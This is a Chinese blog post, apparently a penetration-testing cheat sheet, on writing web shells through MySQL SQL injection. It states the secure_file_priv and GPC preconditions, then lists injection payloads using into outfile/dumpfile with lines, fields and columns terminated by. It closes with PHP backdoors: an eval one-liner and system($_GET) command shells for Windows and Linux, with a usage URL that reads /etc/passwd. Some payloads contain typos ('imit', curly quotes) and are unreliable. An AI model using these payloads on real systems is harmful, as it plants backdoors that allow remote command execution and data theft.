SQL语句写Shell

满足条件:

  1. mysql的配置文件 my.ini 中,secure_file_priv 为空或者secure_file_priv 配置是目录地址。
  2. 未开启全局GPC

关于mysql的secure_file_priv属性得多说几句

  1. 当secure_file_priv为空时,mysql对导入导出文件是没有限制的
  2. 当secure_file_priv为目录地址时,mysql可以在目录位置下
  3. 进行导入导出操作,当secure_file_priv为NULL时,mysql就不能进行导入导出操作

union select 后写入

在union select 后拼接 into dumpfile 和 into outfile 来进行写shell

?id=1' union select 1,2,'<?php phpinfo();?>' into dumpfile 'c:/www/info.php'#
?id=1' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/www/info.php'#

lines terminated by 写入

?id=1' into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#
?id=1' limit 1 into outfile 'c:/www/info.php' lines terminated by '<?php phpinfo();?>'#

注入原理:

lines terminated by xx的作用是在每行终止的位置添加xx内容。

lines starting by 写入

?id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#

注入原理:

lines starting by xx可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

?id=1’ into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#

注入原理:

fields terminated by xx可以理解为 以每个字段的位置添加 xx 内容。

COLUMNS terminated by 写入

?id=1’ into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#

注入原理:

COLUMNS terminated by xx可以理解为以每列的位置添加 xx 内容。

直接导入一句话木马后门

select '<?php @eval($_POST[pass]);?>' into outfile 'c:/www/pass.php'

可执行命令方式

创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在linux下可以导出直接执行命令的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

使用方法:http://localhost/shell.php?c=cat%20/etc/passwd](http://localhost/shell.php?c=cat /etc/passwd

文章作者: Sugarbeet
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sugarbeet's Blog
学习 潜心
喜欢就支持一下吧